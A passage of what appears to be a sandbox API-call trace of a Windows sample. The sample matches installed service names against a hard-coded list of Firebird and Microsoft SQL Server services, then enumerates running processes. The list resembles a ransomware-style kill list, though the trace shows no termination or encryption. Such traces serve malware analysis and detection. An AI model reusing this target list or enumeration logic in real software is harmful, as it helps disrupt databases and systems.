(lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0268.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0268.193] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0268.193] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0268.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0268.193] lstrlenW (lpString="Audiosrv") returned 8 [0268.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0268.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0268.193] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0268.193] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0268.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0268.193] lstrlenW (lpString="BFE") returned 3 [0268.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0268.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0268.193] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0268.193] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0268.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0268.193] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0268.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0268.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0268.194] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0268.194] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0268.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0268.194] lstrlenW (lpString="CDPSvc") returned 6 [0268.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0268.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0268.194] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0268.194] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0268.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0268.194] lstrlenW (lpString="ClickToRunSvc") returned 13 [0268.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0268.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0268.194] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0268.194] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0268.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0268.194] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0268.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0268.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0268.194] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0268.194] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0268.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0268.194] lstrlenW (lpString="CryptSvc") returned 8 [0268.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0268.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0268.195] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0268.195] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0268.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0268.195] lstrlenW (lpString="DcomLaunch") returned 10 [0268.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0268.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0268.195] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0268.195] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0268.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0268.195] lstrlenW (lpString="DeviceAssociationService") returned 24 [0268.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0268.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0268.195] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0268.195] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0268.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0268.195] lstrlenW (lpString="Dhcp") returned 4 [0268.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0268.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0268.195] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0268.195] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0268.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0268.195] lstrlenW (lpString="Dnscache") returned 8 [0268.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0268.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0268.195] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0268.196] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0268.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0268.196] lstrlenW (lpString="DPS") returned 3 [0268.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0268.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0268.196] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0268.196] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0268.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0268.196] lstrlenW (lpString="DusmSvc") returned 7 [0268.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0268.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0268.196] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0268.196] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0268.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0268.196] lstrlenW (lpString="EventLog") returned 8 [0268.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0268.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0268.196] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0268.196] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0268.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0268.196] lstrlenW (lpString="EventSystem") returned 11 [0268.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0268.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0268.196] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0268.196] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0268.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0268.196] lstrlenW (lpString="FontCache") returned 9 [0268.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0268.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0268.197] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0268.197] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0268.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0268.197] lstrlenW (lpString="gpsvc") returned 5 [0268.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0268.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0268.197] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0268.197] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0268.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0268.197] lstrlenW (lpString="iphlpsvc") returned 8 [0268.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0268.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0268.197] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0268.197] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0268.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0268.197] lstrlenW (lpString="KeyIso") returned 6 [0268.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0268.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0268.197] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0268.197] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0268.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0268.197] lstrlenW (lpString="LanmanServer") returned 12 [0268.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0268.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0268.197] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0268.197] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0268.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0268.198] lstrlenW (lpString="LanmanWorkstation") returned 17 [0268.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0268.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0268.198] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0268.198] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0268.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0268.198] lstrlenW (lpString="lfsvc") returned 5 [0268.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0268.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0268.198] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0268.198] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0268.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0268.198] lstrlenW (lpString="lmhosts") returned 7 [0268.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0268.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0268.198] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0268.198] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0268.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0268.198] lstrlenW (lpString="LSM") returned 3 [0268.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0268.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0268.198] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0268.198] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0268.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0268.198] lstrlenW (lpString="MpsSvc") returned 6 [0268.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0268.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0268.198] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0268.199] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0268.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0268.199] lstrlenW (lpString="NcbService") returned 10 [0268.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0268.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0268.199] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0268.199] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0268.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0268.199] lstrlenW (lpString="netprofm") returned 8 [0268.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0268.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0268.199] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0268.199] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0268.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0268.199] lstrlenW (lpString="NgcSvc") returned 6 [0268.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0268.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0268.199] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0268.199] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0268.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0268.199] lstrlenW (lpString="NlaSvc") returned 6 [0268.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0268.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0268.199] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0268.199] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0268.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0268.199] lstrlenW (lpString="nsi") returned 3 [0268.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0268.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0268.200] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0268.200] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0268.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0268.200] lstrlenW (lpString="PcaSvc") returned 6 [0268.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0268.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0268.200] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0268.200] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0268.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0268.200] lstrlenW (lpString="PlugPlay") returned 8 [0268.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0268.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0268.200] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0268.200] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0268.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0268.200] lstrlenW (lpString="Power") returned 5 [0268.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0268.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0268.200] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0268.200] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0268.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0268.200] lstrlenW (lpString="ProfSvc") returned 7 [0268.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0268.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0268.200] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0268.201] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0268.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0268.201] lstrlenW (lpString="RpcEptMapper") returned 12 [0268.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0268.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0268.201] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0268.201] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0268.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0268.201] lstrlenW (lpString="RpcSs") returned 5 [0268.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0268.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0268.201] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0268.201] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0268.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0268.201] lstrlenW (lpString="SamSs") returned 5 [0268.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0268.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0268.201] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0268.201] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0268.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0268.201] lstrlenW (lpString="Schedule") returned 8 [0268.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0268.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0268.201] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0268.201] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0268.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0268.201] lstrlenW (lpString="SecurityHealthService") returned 21 [0268.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0268.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0268.202] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0268.202] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0268.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0268.202] lstrlenW (lpString="SENS") returned 4 [0268.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0268.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0268.202] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0268.202] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0268.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0268.202] lstrlenW (lpString="ShellHWDetection") returned 16 [0268.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0268.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0268.202] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0268.202] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0268.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0268.202] lstrlenW (lpString="Spooler") returned 7 [0268.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0268.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0268.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0268.202] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0268.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0268.202] lstrlenW (lpString="StateRepository") returned 15 [0268.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0268.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0268.203] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0268.203] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0268.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0268.203] lstrlenW (lpString="SysMain") returned 7 [0268.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0268.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0268.203] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0268.203] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0268.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0268.203] lstrlenW (lpString="SystemEventsBroker") returned 18 [0268.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0268.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0268.203] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0268.203] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0268.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0268.203] lstrlenW (lpString="Themes") returned 6 [0268.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0268.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0268.203] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0268.203] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0268.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0268.203] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0268.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0268.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0268.203] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0268.203] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0268.204] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e07d8 | out: hHeap=0x630000) returned 1 [0268.204] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1104 [0268.269] Process32FirstW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.270] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0268.271] lstrlenW (lpString="System") returned 6 [0268.271] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0268.273] lstrlenW (lpString="smss.exe") returned 8 [0268.273] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.274] lstrlenW (lpString="csrss.exe") returned 9 [0268.274] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0268.275] lstrlenW (lpString="wininit.exe") returned 11 [0268.275] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.276] lstrlenW (lpString="csrss.exe") returned 9 [0268.276] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0268.277] lstrlenW (lpString="winlogon.exe") returned 12 [0268.277] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0268.278] lstrlenW (lpString="services.exe") returned 12 [0268.278] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0268.279] lstrlenW (lpString="lsass.exe") returned 9 [0268.279] Process32NextW (in: hSnapshot=0x1104, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0268.280] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0268.280] 